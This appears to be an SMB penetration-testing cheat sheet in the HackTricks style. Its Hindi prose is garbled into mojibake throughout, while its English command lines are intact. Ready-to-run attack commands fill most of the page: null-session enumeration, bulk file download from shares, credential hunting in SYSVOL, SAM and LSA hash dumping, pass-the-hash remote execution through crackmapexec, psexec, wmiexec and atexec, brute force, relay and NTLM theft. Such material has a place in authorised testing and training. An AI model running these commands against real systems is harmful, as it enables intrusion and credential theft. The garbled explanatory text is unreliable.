рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╕рд╛рд░реНрдердХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреА рдореИрдиреНрдпреБрдЕрд▓ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реЗ рдЙрддреНрддрд░реЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рддреНрд░ (рдЬреИрд╕реЗ, рдирд▓ рд╕рддреНрд░ рдпрд╛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред

рд╡рд┐рдВрдбреЛрдЬрд╝ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо рд╣реИрдВ

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

( рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди 3рд░реА рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо)

рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдПрдХ рд╢реВрдиреНрдп рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

рдЙрджрд╛рд╣рд░рдг

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ / рдмрд┐рдирд╛ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдЯреВрд▓ рдХреЗ

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD рдХрдВрд╕реЛрд▓

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC рд╕реНрдиреИрдк-рдЗрди (рдЧреНрд░рд╛рдлрд┐рдХрд▓)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (рдЧреНрд░рд╛рдлрд┐рдХрд▓), рдЙрдкрд▓рдмреНрдз рдЧреИрд░-рдЫрд┐рдкреЗ рд╣реБрдП рд╢реЗрдпрд░ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП \\<ip>\ рджрд░реНрдЬ рдХрд░реЗрдВред

рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

рдлрд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ

рдкрдВрдЬреАрдХрд░рдг/рдкрд╛рд╕-рде-рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕рд╛ рдорд╛рд╕реНрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ "" рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП)
  • recurse: рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдмрдВрдж)
  • prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ)
  • mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ рдорд╛рд╕реНрдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рддрд╛ рд╣реИ

(Information from the manpage of smbclient)

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec рд╕реНрдкрд╛рдЗрдбрд░ред
  • -M spider_plus [--share <share_name>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдореЗрдВ Registry.xml рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓реЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдкрд╛рд╕рд╡рд░реНрдб рд░рдЦ рд╕рдХрддреА рд╣реИрдВ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ autologon рдХреЗ рд╕рд╛рде Group Policy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╣реИрдВред рдпрд╛ web.config рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд░рдЦрддреА рд╣реИрдВред

{% hint style="info" %} SYSVOL рд╢реЗрдпрд░ рд╕рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдбреЛрдореЗрди рдореЗрдВред рд╡рд╣рд╛рдБ рдЖрдк рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдмреИрдЪ, VBScript, рдФрд░ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд╛рдПрдВрдЧреЗред
рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдкрд╛рдПрдВрдЧреЗред {% endhint %}

рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝реЗрдВ

рдЖрдк рдХреБрдЫ рдЦреЛрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред Impacket reg.py рдЖрдкрдХреЛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting Description
browseable = yes рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ?
read only = no рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдкрд░ рд░реЛрдХ рд▓рдЧрд╛рдИ рдЬрд╛рдП?
writable = yes рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ?
guest ok = yes рдХреНрдпрд╛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ?
enable privileges = yes рдХреНрдпрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ SID рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд┐рдпрд╛ рдЬрд╛рдП?
create mask = 0777 рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП?
directory mask = 0777 рдирдП рдмрдирд╛рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП?
logon script = script.sh рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдХреМрди рд╕рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП?
magic script = script.sh рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛрдиреЗ рдкрд░ рдХреМрди рд╕рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП?
magic output = script.out рдЬрд╛рджреБрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ

crackmapexec

crackmapexec рдХрд┐рд╕реА рднреА mmcexec, smbexec, atexec, wmiexec рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ wmiexec рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡рд┐рдзрд┐ рд╣реИред рдЖрдк рдкреИрд░рд╛рдореАрдЯрд░ --exec-method рдХреЗ рд╕рд╛рде рдЕрдкрдиреА рдкрд╕рдВрдж рдХреА рд╡рд┐рдХрд▓реНрдк рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдВрдЧреЗ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ \pipe\svcctl рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ (psexec **рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдЧрд╛ рдФрд░ smbexec cmd.exe/powershell.exe рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рддрд░реНрдХреЛрдВ рдореЗрдВ рдкреЗрд▓реЛрдб рдбрд╛рд▓реЗрдЧрд╛ --рдлрд╛рдЗрд▓-рд▓реЗрд╕ рддрдХрдиреАрдХ--)ред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП psexec рдФрд░ smbexecред
kali рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k рдЖрдк kerberos рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп NTLM рдХреЗред

wmiexec/dcomexec

рдЪреБрдкрдЪрд╛рдк рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдпрд╛ рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдЪрд▓рд╛рдП port 135 рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред
kali рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

рдкреИрд░рд╛рдореАрдЯрд░-k рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдХреЗрд░рдмреЛрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл NTLM рдХреЗ рдмрдЬрд╛рдп рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрд╛рд╕реНрдХ рд╢реЗрдбреНрдпреВрд▓рд░ рдХреЗ рдЬрд░рд┐рдП рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (\pipe\atsvc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред
kali рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket рд╕рдВрджрд░реНрдн

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

рдпреВрдЬрд░реНрд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕

рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдЬрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

рдпрд╣ рд╣рдорд▓рд╛ Responder toolkit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрд░реЛрдВ рдХреЛ рдПрдХ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рд░рд┐рд▓реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрд░ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЛ рдПрдХ рд╕рд┐рд╕реНрдЯрдо рд╢реЗрд▓ рдореЗрдВ рд▓реЗ рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБред

SMB-Trap

Windows рдкреБрд╕реНрддрдХрд╛рд▓рдп URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдЬрдм рдПрдХ рдкреГрд╖реНрда SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдЫ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: img src="\\10.10.10.10\path\image.jpg"

рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

рдЬреЛ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ (рдЬреИрд╕реЗ Skype) рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

SMB Trapping рдХреЗ рд╕рдорд╛рди, рдПрдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрд╛рдиреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдПрдХ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 рд╣реИрд╢ рдХреЛ Responder рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣реИрд╢ рдХреЛ рдлрд┐рд░ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ SMB relay attack рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

See: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as тАШNBT over IPтАЩ, Port 445 is тАШSMB over IPтАЩ. SMB stands for тАШServer Message BlocksтАЩ. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
